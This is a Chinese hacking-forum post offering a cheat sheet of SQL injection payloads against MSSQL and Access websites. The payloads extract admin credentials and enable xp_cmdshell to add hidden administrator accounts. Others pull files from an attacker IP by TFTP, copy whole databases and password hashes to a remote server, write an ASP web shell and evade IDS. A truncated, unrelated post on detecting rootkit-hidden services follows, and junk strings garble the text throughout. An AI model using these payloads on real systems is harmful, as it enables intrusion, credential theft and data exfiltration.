返回列表 发帖

入侵网站必备

入侵网站必备$ n% y, j" u) K$ N
判断有无注入点
1 h, B0 @. }" V0 K7 v# x% v; and 1=1 and 1=2

9 E9 G6 N; a/ o, ?2 R2.猜表一般的表的名称无非是admin adminuser user pass password 等..
4 o& a, s4 p4 c9 }2 e& Land 0<>(select count(*) from *) 6 K# E; d& ~# {; q0 |1 D0 j: E
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

/ r9 \4 K: m( y, E$ [" p# _3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
4 E5 Z3 K* c! s8 Y7 }! fand 0<(select count(*) from admin) - G! g3 L6 H* v! ~
and 1<(select count(*) from admin)

0 i4 L" W8 e% ~- d' v+ H6 k4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 9 m1 p  J1 T5 G( n& Q6 ~
and 1=(select count(*) from admin where len(*) >0)-- . E$ n/ B5 `: p! ~  Y, |
and 1=(select count(*) from admin where len(用户字段名称name)>0) # W5 @: d+ x6 ]/ Y: l0 W
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

+ H: Q9 L5 j& u! `5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 2 [# c5 S7 |2 }% ?  x9 }6 w
and 1=(select count(*) from admin where len(*)>0)
( ]/ a2 M" b3 y0 s% Q$ C6 Eand 1=(select count(*) from admin where len(name)>6) 错误 ' b, w  U7 B! w* ?! I
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 4 M4 }/ |  s/ B# J5 N& b6 b0 z
and 1=(select count(*) from admin where len(name)=6) 正确

7 v0 H' N" a/ R* i  S. y6 Wand 1=(select count(*) from admin where len(password)>11) 正确 2 n- j" s2 ]0 }( b" D, _
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 " B  g/ |& R( P/ o4 D
and 1=(select count(*) from admin where len(password)=12) 正确
2 P& q! d! o; N% F: \
6.猜解字符 : t2 L) J# r1 D& W. D' k; m1 a
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 2 _; ~, V0 v  n. L. L. J
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 # p( L' |& j5 K' B# w" d
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
, B$ a7 s8 ?9 x' Hand 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- & N; h7 J( |3 v1 L
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
" W; F" \3 u( H+ B9 p( J
group by users.id having 1=1-- # M" @3 H- x; H; M
group by users.id, users.username, users.password, users.privs having 1= 1--
0 }- X  p( i4 e! F3 i; `; insert into users values( 666, attacker, foobar, 0xffff )--

  K1 k' B$ v  _UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank> _NAME=logintable-
2 M1 T7 m- v) h9 k4 u: h) @9 eUNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- 0 \' H. r) @* S$ o! ]7 _
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
" P1 s( G/ D- F! i3 [UNION SELECT TOP 1 login_blank> _name FROM logintable- / t9 b6 T1 X7 J: r4 U* R
UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul--
% f2 q2 R; {- @2 y2 p
看_blank>服务器打的补丁=出错了打了SP4补丁 0 @$ e( Y$ k, M9 t5 B4 }, ^
and 1=(select @@VERSION)--

% [/ H& K' k! A/ q8 B看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 / J  ~2 ~8 u) V, {- [
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--

4 g* H4 \3 C/ j判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)
. S- G. {1 R  \) v( Gand sa=(SELECT System_blank>_user)--
' J5 |! p. j+ c7 [6 c' mand user_blank>_name()=dbo--   K4 i0 L4 k. C* N6 x+ K
and 0<>(select user_blank>_name()--
) O* E( _/ C: s6 Y
看xp_blank>_cmdshell是否删除 3 n( A! v/ h  K" k* _+ N# {
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
, |$ _1 B7 a& F
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
% f/ T* X1 S' @" P* D' e; {. _;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 0 t% V9 O$ ?3 Q; b
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--

* N+ f7 X  S7 ?( F- W2 s反向PING自己实验
  a5 t( k5 m# `8 f! O$ N5 x;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

9 O% Y2 L9 t0 w  w1 S加帐号 # E' E4 \9 R$ X/ V
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

9 e. |! D$ {0 U& q$ K7 u7 R- x创建一个虚拟目录E盘: ' j( }, m5 ]/ O
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--

' A  j( M/ @6 J3 f* Z访问属性:(配合写入一个webshell) & b0 W1 Z( A" o# F8 F  M7 Q$ x
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
: w0 Q1 \6 v# ], Y+ G5 b( y
爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交   F. N" r9 O- H
and 0< >(select top 1 paths from newtable)--
0 d. p6 `$ ?9 s6 R
得到库名(从1到5都是系统的id,6以上才可以判断) 3 l6 k1 R  X3 ~! V, p( u) V
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- / x  f5 T2 k: F0 s( v
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
1 \9 P1 q6 F# r* y& n; D# K依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

9 ^9 P& s6 ^  p* c2 t  Z5 l- i. L5 ^and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
8 w" g0 \: L" L( D  W+ wand 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 + [+ F* ?7 N( Y9 w# A+ i; Z
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
7 Q1 ^4 Z. l! x! g1 n. A1 U8 [and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id 8 e( ^3 q# S( K2 [
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id
" k, d% {* D" eand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in # d7 [$ D' O! E% e4 Q6 N: P9 O* Q- J3 O
(id,...)) 来暴出其他的字段
* X6 ^7 J, N: r/ iand 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
; t# V9 L  M$ n! q0 x依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段
8 r' Y( v) a) ?7 c3 q
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) / o9 E1 m) ~1 g; p: ]
and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
: F5 ?% X, F7 X# h; }and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) " B! Z3 z3 J* ?
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 3 K& l' J7 D4 |4 q" q
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

4 L, y; W: D+ w% e# a?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin # K8 u1 _5 e/ {7 ~
?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
! @& t( p1 b5 C+ m2 k' w1 V& J
得到WEB路径 9 ]7 G- E, `8 V' B$ q8 d
;create table [dbo].[swap] ([swappass][char](255));-- # v- L2 g& ?# R4 Y2 E
and (select top 1 swappass from swap)=1-- + f* B, k3 m( V7 j: C' [
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/,
[email=values=@test]values=@test[/email] OUTPUT insert into paths (path) values(@test)--
( S8 c: R6 C; ?;use ku1;--
- k) `9 w* r; o) V. c; i;create table cmd (str image);-- 建立image类型的表cmd

* E' O5 Z% d6 r存在xp_blank>_cmdshell的测试过程:
+ K& m7 D/ b4 A) Q6 T! i& i9 c;exec master..xp_blank>_cmdshell dir
5 |9 m* X8 i4 q- e9 T: f3 `/ Y% u3 q;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 . o+ g4 \' S' E! s+ Q: w9 r
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- , G% V' f+ q5 d1 s, y3 S
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
; p% i* _1 ]* ]2 l* V;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
9 I7 X' H" N8 c* N: n;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
* g" M+ N0 |' O6 Eexec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务
1 S# }) H3 f; r: o9 Rexec master..xp_blank>_servicecontrol start, server 3 L- H' ?7 \# k; T
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ( Y6 v3 m) ?% ~# N* L( o% [8 G
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 4 ~9 v2 q- K! ]
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
. T- p) N# i* R6 S
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 3 t4 O2 a9 Y6 B' V
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ ) k& j4 O: h8 L  V
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat & h2 y" c- l4 c, G7 R
如果被限制则可以。
0 j9 F5 J, W; s( gselect * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
) \% F7 G% M# D# j
查询构造: 2 d4 J. z& o0 P0 _; }6 [
SELECT * FROM news WHERE id=... AND topic=... AND .....
6 i* u5 O- F5 o( padminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
* B! D# l- C8 p; P* e3 u7 Yselect 123;-- # ]3 K: {! S9 p- O1 r2 I
;use master;--
& V- z  K! a, {$ W5 k1 \& O# b:a or name like fff%;-- 显示有一个叫ffff的用户哈。
7 ~0 K" a& U% ^" g1 f2 {. D9 [; ]and 1<>(select count (email) from [user]);-- ' @+ y5 n9 r% M$ E( v6 a; b) t
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
4 K) j8 M9 |' c# H* m* B;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
; x3 K) s+ x& X0 M" r;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- + w& @5 U0 ^; @! t
;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 6 E' q5 v3 |" ?5 m
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
# `" p, {5 K  L4 G# v& W( A5 v5 f;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
5 f9 P& W6 N8 c7 [) T$ H上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
8 X3 G, [9 |% r+ p通过查看ffff的用户资料可得第一个用表叫ad
! a8 Q7 |7 E: a0 c然后根据表名ad得到这个表的ID 得到第二个表的名字
$ w# P/ v+ H1 o  a, l
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
0 g& P  p. E$ Q$ N% _: W7 Ginsert into users values( 667,123,123,0xffff)--
( a! D6 T& T. U: \% F. M. xinsert into users values ( 123, admin--, password, 0xffff)--
8 p/ h+ `  \+ n;and user>0   X. T2 ?/ N/ ~+ L7 L. z8 G/ j- ?. ]
;and (select count(*) from sysobjects)>0
( A0 q' l( s7 b+ B0 T;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

6 \- H# o: a* ^6 p$ j7 H枚举出数据表名 ; _% O/ t/ v3 ~6 h$ w: S. x4 l
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 2 U% C5 F  t9 y, Z4 w" [
这是将第一个表名更新到aaa的字段处。 : b, Q! U# w5 f) \  t, X
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。 ) Z' w( R( L7 s4 h; `
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 0 m. ?8 p2 _& ~. I4 y/ S
然后id=1552 and exists(select * from aaa where aaa>5) & V5 |' o' O# N6 D" q1 W
读出第二个表,一个个的读出,直到没有为止。 ! B+ X: o5 |6 H: X% p$ m
读字段是这样: , c0 v6 P' i' A) l$ E  `0 W
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));--
+ G' n% R: u" J! Q% W& H$ u6 Y( ?然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
3 s6 F+ H' C1 x* t;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- ) [5 d( N; E8 f/ C6 M8 I
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
8 b8 l/ Y8 d5 [* Z
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
% ^0 g2 D/ w- I) H; bupdate 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
8 a" ?  ?: V1 ^9 }: C通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

- I, T5 C- C; b[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] * b% c) e$ q5 B( V. C+ u
update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

0 i* ?+ u" P; |  h- ~绕过IDS的检测[使用变量] 1 d# E& R) g0 V4 T0 Q/ b
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ , K8 D* `) F4 Y2 ?' g: C1 B
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
% R8 t/ h* N- s/ G( S
1、 开启远程_blank>数据库
1 D5 u; p6 z2 a$ d基本语法 $ n- {4 n3 `, W2 `2 X: J
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) # x, ^2 }! v* z, p$ @1 R
参数: (1) OLEDB Provider name
9 Z9 ?; |- Q/ E' c- S/ h( S0 q# x2、 其中连接字符串参数可以是任何端口用来连接,比如
$ L% g3 c$ K) x" e% Z+ pselect * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
: I( S, G8 |  u, p5 \% q3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

& t& d! \. M8 U8 v3 H
) L- x7 p8 L/ U! q: d2 S基本语法: , Y5 t8 q7 C. x6 S) n* ^
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
1 Z/ a/ d# X( `& w这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 0 A+ O( @& e. [! m" u
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2
) T( Q& L1 I% m( ^# t2 X' u& |insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
! K5 U* z9 W0 q# j4 o0 L6 s: B7 W) Dselect * from master.dbo.sysdatabases 8 c8 ?7 k' H9 z; C) R( R, n
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects) $ m& [; F- m( [9 }
select * from user_blank> _database.dbo.sysobjects 8 \2 n" z  ^$ J8 o
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns)
9 v+ e/ b  ^+ X4 Vselect * from user_blank> _database.dbo.syscolumns : e: J: I5 P  {; N" D
复制_blank>数据库: 5 a  s6 ^2 {. H; G: ?
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
" D' Z$ I) V5 v% G% ?) E- }$ g+ M$ r* Binsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

4 J: F" H# C" I" N; r5 P复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: 5 l  d* G: `( T
insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 3 N) B2 G1 E5 V8 Q
得到hash之后,就可以进行暴力破解。

+ Z  U7 M) e$ F2 A6 a) G  ^遍历目录的方法: 先创建一个临时表:temp
1 d" D6 S) j5 a' c;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
: Z4 l& r9 ]; {9 j- M;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 6 n& q& v8 n6 i) o$ f4 c. P3 ]8 R
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
- n5 n5 v4 S$ V! v;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 0 Z. \+ r9 \; J/ Y3 E* v
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
0 U0 G. P7 b  v: b$ Z9 h;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- ; r2 u+ R* C8 W
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
! `8 W: i6 P$ v. O! g: d; k) F; l( u;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc . [' @" E9 u8 u" P- {" c" e' O( H3 y5 Q5 i
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)
+ h( d: D1 T4 |9 F8 a写入表: $ J5 [! C1 L# p( o4 j" y* H
语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
% O/ O& o9 B/ X  J语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));--
3 u/ a% T- X# P$ p" R! B: D& L语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 1 b8 ]) m7 c1 ^& M. A) W9 S0 U: V0 [
语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
! O$ ~1 A7 K& F: C, G5 B0 I语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));-- # ?7 E! g' x6 H/ r' ~
语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- / K$ ^( V* O- a# C0 t
语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- - r" f. J0 f4 e! x/ X$ c- I. p' P
语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));--
8 V: V1 _! _# ^) J$ V* z. B4 e语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
# A* ]! s1 Y) R
把路径写到表中去: 2 E+ G; B1 C# \& Q- u# v; ]& z
;create table dirs(paths varchar(100), id int)--
' S, v. Z1 O" s;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
' l7 h  a+ c9 N% P: ]) C/ V. ]and 0<>(select top 1 paths from dirs)--
" s+ c* N  f1 V+ b) a, Z  kand 0<> (select top 1 paths from dirs where paths not in(@Inetpub))-- 7 H7 Y9 s6 W  Q6 v
;create table dirs1(paths varchar(100), id int)--
7 V4 M1 y3 y! ]$ \. m;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- ! c) L: V2 {2 W" J, }. X
and 0<>(select top 1 paths from dirs1)--
7 X6 l+ ]: z- J, @5 b. A3 ~
把_blank>数据库备份到网页目录:下载 7 ^3 c3 J+ ]+ m7 w5 X  E: d
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
( e/ W- w+ N) F3 |1 ?
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
/ |0 {5 _4 F! `8 g- Vand 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 + O' c% v. n( Z- K
and 1=(select user_blank>_id from USER_blank>_LOGIN) % |' u  g0 y# z' p+ O2 Q
and 0=(select user from USER_blank>_LOGIN where user>1)
2 G6 j2 H" N4 v/ P# U/ T# [+ l7 v* U; ?
-=- wscript.shell example -=-
* m- z- X# Z- G7 ^$ Ldeclare @o int
8 b7 }3 R* ]+ |6 K5 Iexec sp_blank>_oacreate wscript.shell, @o out * j7 {1 M  F% [& ~
exec sp_blank>_oamethod @o, run, NULL, notepad.exe   `& |8 u6 O0 T* e
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

( p4 s4 |4 O/ H* Odeclare @o int, @f int, @t int, @ret int
, t: J# G* _; ]4 l7 u. b: R- l% r) odeclare @line varchar(8000) 8 P. H; e1 c# H1 C% E
exec sp_blank>_oacreate scripting.filesystemobject, @o out
1 q! V- L% W) R" _# eexec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 . ^# \3 x8 r1 s1 D8 C8 w
exec @ret = sp_blank>_oamethod @f, readline, @line out
: Z9 p6 B2 C) D: \3 C- v$ {6 o0 i9 lwhile( @ret = 0 )
8 t4 @5 Z/ ~5 Pbegin % c- H8 _0 O+ H7 R% Z
print @line
0 i/ S2 v4 J3 |% ]' R7 fexec @ret = sp_blank>_oamethod @f, readline, @line out
0 v) ~( E+ Q; C( Tend

3 `6 R' {0 e: q4 F8 wdeclare @o int, @f int, @t int, @ret int
  @/ G7 C' O/ j- Fexec sp_blank>_oacreate scripting.filesystemobject, @o out
+ `/ h7 T2 y$ m- ]/ K5 r8 p5 l: Dexec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1   h; {  M: b9 P% w# ^8 `( N
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
; G# }) F( ^6 `" e/ I7 N<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
$ c  T4 D" r  Z* c; B
declare @o int, @ret int
& G$ v; s( G6 ~: B( d$ a0 `exec sp_blank>_oacreate speech.voicetext, @o out   @! G  x; i, t4 A3 D1 c3 E
exec sp_blank> _oamethod @o, register, NULL, foo, bar 8 A+ f0 ^, X) ^& c  I: q- p
exec sp_blank>_oasetproperty @o, speed, 150 ' Q: t8 p& o9 f+ D$ l4 |7 n; x( h7 G
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
3 o8 K/ v4 Y' Zwaitfor delay 00:00:05
9 J7 I1 ~; n- G/ q2 q+ d5 F# v
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
4 @0 p* r' E6 c' d( _6 d* Axp_blank>_dirtree适用权限PUBLIC
$ O+ K' R4 a1 w5 O6 @2 mexec master.dbo.xp_blank>_dirtree c:\ 0 g3 u$ r7 Q: H5 w
返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
1 F  I6 U8 `. r6 ycreate table dirs(paths varchar(100), id int) & L8 `" }# a- s; d3 P5 ^* P5 g2 W. ?0 p
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 , k* `& [: _  B
insert dirs exec master.dbo.xp_blank>_dirtree c:\
8 m0 Z8 n: x  c1 v" _只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果
5 }; {- a9 c2 l$ {( ?' A

 

您可能还想看的主题:

华为HG8245后门,远程访问

心海软件学校心理管理系统0DAY集合

网奇CWMS企业网站管理系统1.0-2.0 编辑器漏洞

NWEB System后台取shell漏洞

Phpcms本地包含漏洞/写shell漏洞/任意文件删除漏洞

BEES企业网站管理系统 v1.6 后台取Shell方法

ewebeditor无后台另类拿站

**-Log 1.2 延迟注射漏洞

脚本,数据库入侵

动网8.1最新注入0Day漏洞解析

非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:haimimi008发表,本帖发表者haimimi008符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者haimimi008和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

学习中......, @; X& X. ]3 f8 q! _

6 F9 e; ?7 j  ]. C# }1 e    手工必备

TOP

检测并禁用隐藏服务
隐藏服务的概念是由hxdef 和rootkit这些后门工具提出的。这些后门工具通过挂钩系统本地调用来隐藏自己,原本通过调用Windows API调用查看系统服务的企图都是徒劳的。所以这时的系统是不可靠的,不值得信任的。目前针对查找隐藏服务的工具已经有很多,比如IceSword,knlsc,FHS等等。虽然这些软件都是免费的,但是它们到目前为止都不是开源,所以将自己的实现版本展示出来,正如knlsc的作者所说的那样,这是一个简单的小程序。    Knlsc是通过将%SystemRoot%/System32/Config/System这个Hive文件转储出来,提取出ControlSet001/Services的子项再与RegEnumKeyEx的输出结果进行比对,发现若是在RegEnumKeyEx的输出结果中没有的子项就可以认为是一个隐藏的服务。当然knlsc还认为隐藏服务必须同时拥有ImagePath,Start,Type三个键值。据说knlsc运行时还将从资源段中放出一个驱动程序,但是估计这个驱动是假的。将knlsc托壳后用VC从资源段中导出的文件是一个没有EntryPoint但有MZ标志的驱动,没有办法进行反汇编。或许作者使用了SMC技术,放出资源文件后在进行修改,在执行文件中也有NtLoadDriver的调用片段,但是同一作者的knlps中的资源驱动却未作任何的处理。要实现检测隐藏服务的功能其实没有必要使用驱动程序,即使可以验证knlsc驱动的真实性。直接对Hive文件的转储也不是必须的,虽然这只要通过修改Gary Nebbett的示例代码就可做到。    Hive文件的转储可以通过RegSaveKey函数来进行,rootkitrevealer就是使用这个API的扩充函数RegSaveKeyEx工作的,至少到目前为止还没有挂钩这类函数的后门,但是世上没有永远的安全,在理论上是可行的,可能不得不对该函数的输出文件进行处理,这将在一定程度上影响该函数的执行时间。使用该函数时还必须赋予调用进程以SE_BACKUP_NAME权限。    在实现中将“HKEY_LOCAL_MACHINESYSTEMControlSet001Services"的子项都转储为Hive格式文件(使用DumpServiceInfo函数),存放在C:        mp.hive,在C盘下不可有同名文件,否则会发生Dump错误。现在的问题是如何对Hive格式文件进行处理,在这一点上必须感谢Petter Nordahl-Hagen所写的NT Registry Hive access library,它是The Offline NT Password Editor的一部分。本人的实现很大程度上就是参照他的程序,然而这个库工作在Linux环境,但是它向VC编译器移植的工作量是极少的,只需稍加修改。1.将 #include <unistd.h> 去掉2.将程序中三处的#define D_OFFS(o) ( (void *)&amp;(key->o)-(void 